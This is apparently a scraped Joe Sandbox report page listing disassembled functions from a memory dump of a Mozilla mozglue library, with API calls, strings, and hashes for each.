\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5FEDC1

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 18485494fb9b5908aced796c52143894894af64b4f28d3c7a77c2867d4192e66
Instruction ID: a5b04d97232c3cd3e89959e1c75a43e8517b630017ef5685c52983cf70541103
Opcode Fuzzy Hash: 18485494fb9b5908aced796c52143894894af64b4f28d3c7a77c2867d4192e66
Instruction Fuzzy Hash: EC51F471D052048FDB08DF69DC406EEB7B1AF4A318F04892DD8616BB40E770694ACBE6

Function 6C66A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C66A565

Part of subcall function 6C66A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66A4BE
Part of subcall function 6C66A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C66A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C66A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C66A6B6

Strings

z, xrefs: 6C66A6AE
0, xrefs: 6C66A5FB

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: d355f518fcda6129d99dbe88b9c943ca7c045f7c76cbf9a2f0ff6aef94d050ee
Instruction ID: 0a538dc1e908270b4fa36b9ae62ee60b7968bc2fa0895016c6608e9541b382cc
Opcode Fuzzy Hash: d355f518fcda6129d99dbe88b9c943ca7c045f7c76cbf9a2f0ff6aef94d050ee
Instruction Fuzzy Hash: 9B4138719087459FC341DF29C480A8ABBE5BF89354F408A2EF49987651E730E549CB97

Function 6C63DF60 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 59threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63DF7D
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63DF8A
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63DFC9
GetCurrentThreadId.KERNEL32 ref: 6C63DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63E000

Strings

<none>, xrefs: 6C63DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C63E00E

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpid
String ID: <none>$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1430161788-1978395012
Opcode ID: 13f77c8d648f0780213e993d57fa24986c1d8b40c9834db381a02ac1f8bc6312
Instruction ID: 6e59c23c95cbd06155689d8793b3f4a537969557e8a0dc04087bd00d2dedb094
Opcode Fuzzy Hash: 13f77c8d648f0780213e993d57fa24986c1d8b40c9834db381a02ac1f8bc6312
Instruction Fuzzy Hash: 3E11C1316012319BDB159F59C8889AE7775FF8634CF101819EA0957706C7319811CFBE

Function 6C639420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
__Init_thread_footer.LIBCMT ref: 6C63949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C639459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C63946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C63947D

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 00ebcf3e4e17ec0e4b2cdf14cbdeab766bc2ccee38dc92d8ffc5045a67cc4b15
Instruction ID: 70ad84ca59e17552c295066bf973e9d293889a728262a4586cfed211cbec270c
Opcode Fuzzy Hash: 00ebcf3e4e17ec0e4b2cdf14cbdeab766bc2ccee38dc92d8ffc5045a67cc4b15
Instruction Fuzzy Hash: C001F530A001218BD714DB6ED954A893274AF0632DF041D37D90EC6A43EA26D4648EBF

Function 6C640F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C640F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C640F88
GetCurrentThreadId.KERNEL32 ref: 6C640FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C641067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6410A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C64114B

Part of subcall function 6C638AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6412F7), ref: 6C638BD5

free.MOZGLUE(?), ref: 6C641174
free.MOZGLUE(?), ref: 6C641186

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 1826d02da308be9440e08e11cf83e0c896aa96edbf11cf1dc74503d4fb2bae30
Instruction ID: d5466b7aac09eaedcb8c791e816f611657290b3ff9b1f14da43fce649baf12f9
Opcode Fuzzy Hash: 1826d02da308be9440e08e11cf83e0c896aa96edbf11cf1dc74503d4fb2bae30
Instruction Fuzzy Hash: FA61B075A043409BDB11CF25C880B9AB7F5BFD6308F14C91DE98947B12EB31E859CB9A

Function 6C5FB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB6AC

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5FB61E), ref: 6C5FB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB79A

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 4e0ba86b27fc664077a017f16994341a24367068560a34519db5ae90b9fbfb26
Instruction ID: c7322d0b6d907ad3c582002fa99ac24d340fa65a3f8eb662f7375479df11a048
Opcode Fuzzy Hash: 4e0ba86b27fc664077a017f16994341a24367068560a34519db5ae90b9fbfb26
Instruction Fuzzy Hash: A241B4B2D00115DFCB08EF68DC806AFB7B5BB45324F250A29E825E7780E731A9058BE5

Function 6C5FEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C675104), ref: 6C5FEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5FEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5FEFEC
free.MOZGLUE(?), ref: 6C5FF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5FF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C5FF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FF065
moz_xmalloc.MOZGLUE ref: 6C5FF072

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 5c70652234520ef64531ed8c643a37b5819b7d2e7f15902070005fad3158fe5e
Instruction ID: 79d9dc7f3edc79eeb34c2453a58c0581c1b5e900bd58ddf2c9b685316cbe8d20
Opcode Fuzzy Hash: 5c70652234520ef64531ed8c643a37b5819b7d2e7f15902070005fad3158fe5e
Instruction Fuzzy Hash: 5B41F8B1A001059FCB08CF68DC809AF77A9AF85314B244728E926D7794EB71E905CBE5

Function 6C66B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C66B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C66B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C66B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C66B5F4
__Init_thread_footer.LIBCMT ref: 6C66B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C66B61F
std::_Facet_Register.LIBCPMT ref: 6C66B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66B655

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: e0af3bfe7d1b295629769b63207dff37cadfa39061e5bbc13a7c15cacf425345
Instruction ID: af29ffeded171bea1f907de4def52a12dd00a44ac3ff491584ac6ddb5b425814
Opcode Fuzzy Hash: e0af3bfe7d1b295629769b63207dff37cadfa39061e5bbc13a7c15cacf425345
Instruction Fuzzy Hash: 3B317271B00114CBCB059F6AC9989AEB7F5FFCA325F140919E90297740DB34A806CFAE

Function 6C636590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C62FA80: GetCurrentThreadId.KERNEL32 ref: 6C62FA8D
Part of subcall function 6C62FA80: AcquireSRWLockExclusive.KERNEL32(6C67F448,?,6C62FA1F,?,?,6C605407), ref: 6C62FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C636727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6367C8

Part of subcall function 6C644290: memcpy.VCRUNTIME140(?,?,?,:dl,?,:dl,00000001,?,6C643AED,?,00000001), ref: 6C6442C4

Strings

data, xrefs: 6C636593
vgl, xrefs: 6C63696C

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vgl
API String ID: 511789754-1010661664
Opcode ID: 6fa73c3d5bf562275e0eb5839dd08cfda0f639ac241e737976ed597eefa10604
Instruction ID: ffa9b241ae34462ed7624bba3e1a14a50bca85bd105dfc3eb487372e3816c059
Opcode Fuzzy Hash: 6fa73c3d5bf562275e0eb5839dd08cfda0f639ac241e737976ed597eefa10604
Instruction Fuzzy Hash: 06D1BF75A083408FD724CF25C841B9ABBE5BFC6308F20992DE48987B51DB31D849CB5B

Function 6C62D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5FEB57,?,?,?,?,?,?,?,?,?), ref: 6C62D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5FEB57,?), ref: 6C62D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5FEB57,?), ref: 6C62D673
free.MOZGLUE(?), ref: 6C62D888

Strings

|Enabled, xrefs: 6C62D81E
W_l, xrefs: 6C62D5D9, 6C62D63F

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W_l$|Enabled
API String ID: 4142949111-4144283391
Opcode ID: 401bff7ad8b2e67752e8c035e0aec832f40226bc87903bf43ad5596a9b261589
Instruction ID: 72d1252a06e2f5a5e8d00a13a42150a0b44ca2d15ad4eb06467a72b8015d9d85
Opcode Fuzzy Hash: 401bff7ad8b2e67752e8c035e0aec832f40226bc87903bf43ad5596a9b261589
Instruction Fuzzy Hash: EBA102B0A042149FDB15CF69C490BEEBBF1EF4A318F14845CD899AB741D738A845CFA9

Function 6C609830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C657ABE), ref: 6C60985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C657ABE), ref: 6C6098A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C609909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C609918
free.MOZGLUE(?), ref: 6C609975

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 2aa7779f6ce236684f4c6ec756c1d2d489eae76a35de5061903e2e035f138cb5
Instruction ID: f0406a3010d927fe12342ac19a2b6576129c3c3bb398f6e33ecdaebfee5ec291
Opcode Fuzzy Hash: 2aa7779f6ce236684f4c6ec756c1d2d489eae76a35de5061903e2e035f138cb5
Instruction Fuzzy Hash: 7D71AC74604B058FC729CF28C580956B7F2FF4A3287284AADE85A9BB90D771F841CF95

Function 6C60B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C64CC83,?,?,?,?,?,?,?,?,?,6C64BCAE,?,?,6C63DC2C), ref: 6C60B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C64CC83,?,?,?,?,?,?,?,?,?,6C64BCAE,?,?,6C63DC2C), ref: 6C60B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C64CC83,?,?,?,?,?,?,?,?,?,6C64BCAE), ref: 6C60B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C64CC83,?,?,?,?,?,?,?,?,?,6C64BCAE,?,?,6C63DC2C), ref: 6C60B896

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 25fe88fd7cd994a032bc37eee0e023f83d5bf950457ab4cd688909834ff2d562
Instruction ID: 322721848ea861aa77412dab5ecd999a58fcaf2b04e6ae1bb59a4380724da76a
Opcode Fuzzy Hash: 25fe88fd7cd994a032bc37eee0e023f83d5bf950457ab4cd688909834ff2d562
Instruction Fuzzy Hash: EA518B357006008FCB19CF59C6C4A6ABBF5FF89318B69895DE99AA7351C730EC01CB98

Function 6C641D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C641D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C641BE3,?,?,6C641D96,00000000), ref: 6C641D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C641BE3,?,?,6C641D96,00000000), ref: 6C641D4C
GetCurrentThreadId.KERNEL32 ref: 6C641DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C641DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C641DDA

Part of subcall function 6C641EF0: GetCurrentThreadId.KERNEL32 ref: 6C641F03
Part of subcall function 6C641EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C641DF2,00000000,00000000), ref: 6C641F0C
Part of subcall function 6C641EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C641F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C641DF4

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 5aba73f4b158dc6b28f43cf106c799ab856eda16cc62e39b65ca5b2f6c98eb94
Instruction ID: 9aad976bc718f0d7facb545b2681b80cfd853fb67d109a1771bc27cce92c357f
Opcode Fuzzy Hash: 5aba73f4b158dc6b28f43cf106c799ab856eda16cc62e39b65ca5b2f6c98eb94
Instruction Fuzzy Hash: 25417BB5201700AFCB14DF29C488A56BBF9FF89354F10882DE95A87B41CB71F854CBA9

Function 6C6384E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6384F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C63850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C63851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C63855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C63856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6385AC

Part of subcall function 6C637670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C63767F
Part of subcall function 6C637670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C637693
Part of subcall function 6C637670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6376A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6385B2

Part of subcall function 6C615E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
Part of subcall function 6C615E90: memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
Part of subcall function 6C615E90: LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
